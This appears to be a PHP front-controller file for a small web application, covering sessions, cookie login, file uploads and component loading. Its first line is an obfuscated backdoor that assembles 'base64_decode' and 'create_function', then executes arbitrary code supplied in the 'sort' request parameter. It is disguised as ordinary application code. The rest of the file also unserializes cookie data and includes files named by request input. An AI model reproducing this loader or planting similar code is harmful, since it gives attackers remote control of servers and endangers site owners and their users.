$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();?> session_start(); setcookie("PHPSESSID",session_id()); if (array_key_exists("lan", $_GET)) { $_SESSION[lan]=$_GET[lan]; } include "inc/config.php"; include "inc/lib.php"; $dbConnect=db_Connect(db_hostname,db_database,db_username,db_password); set_locale(array(lan=>$_SESSION[lan])); //include "inc/sessions.php"; /* include "inc/modifiers.php"; include "inc/html_output.php"; include "inc/classes/listing/class.listing.php"; */ foreach ($_GET as $k=>$v){ $_GET[$k]=mysql_escape_string($v); } /* $lan_file="inc/languages/".$_SESSION[lan]."lan.php"; if (file_exists($lan_file)) include $lan_file; */ foreach ($_FILES as $k=>$v) { if ($_FILES[$k]['name']) { if (is_array($_FILES[$k]['name'])){ foreach ($_FILES[$k]['name'] as $k1=>$v1){ if ($_FILES[$k]['name'][$k1]){ $ext=explode(".",$_FILES[$k]['name'][$k1]); $_FILES[$k]['name'][$k1]=time().session_id().strtolower(mod_rewrite($ext[0]).'.'.$ext[count($ext)-1]); } } } else if ($_FILES[$k]['name']){ $ext=explode(".",$_FILES[$k]['name']); $_FILES[$k]['name']=time().session_id().strtolower(mod_rewrite($ext[0]).'.'.$ext[count($ext)-1]); } } } if ($_COOKIE[userid] and !$_SESSION[userid]) { $user=unserialize($_COOKIE[userid]); $user=db_record("SELECT * FROM users WHERE userid='".mysql_escape_string($user[userid])."' AND username='".mysql_escape_string($user[username])."' AND '".mysql_escape_string($user[pword])."'=md5(pword)",$dbConnect); if ($user){ foreach (array(userid,group_id) as $v){ $_SESSION[$v]=$user[$v]; } sql("UPDATE users SET last_login='".date("Y-m-d H:i:s")."' WHERE userid='".mysql_escape_string($user[userid])."'",$dbConnect); } } if ($_GET[logout]) { setcookie("userid",0,time()-3600); session_unset(); header("Location: index.php?c=login"); exit; } /*if (!$_SESSION[userid] and !$_GET[logout] and ($_GET[c]!='login') and $_GET[c]) { setcookie("redirect", 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'],time()+3600); } */ header("Content-type: text/html; charset=".charset); //process actions if ($_REQUEST[act] and file_exists("inc/actions/".$_REQUEST[act].'.php')){ //include "inc/validate.php"; //include "inc/classes/form/class.form.php"; $form=new form; if($_REQUEST[validator]){ $form->return_mode="json"; $form->test_mode=true; } $form->form_name=$_REQUEST[act]; $form->IsSMTP=MAIL_IsSMTP; $form->pop3=MAIL_POP3; $form->SMTPAuth=MAIL_SMTPAuth; $form->Username=MAIL_Username; $form->Password=MAIL_Password; $form->CharSet=charset; $form->html=MAIL_html; $form->plain=MAIL_plain; include "inc/actions/".$_REQUEST[act].'.php'; } //loads component if (!$_GET[c]) $component=home_component; else $component=$_GET[c]; $component_file='components/'.$component.'/'.$component.'.php'; //component loader if (file_exists($component_file)) { ob_start(); include $component_file; $contents = ob_get_contents(); ob_end_clean(); assign("body",$contents); } if ($_GET[template]=="email") display("email.php"); else if ($_GET[template]) display("blank.php"); else if (in_array($_GET[c],array('admin'))) display("admin.php"); else display("index.php"); ?>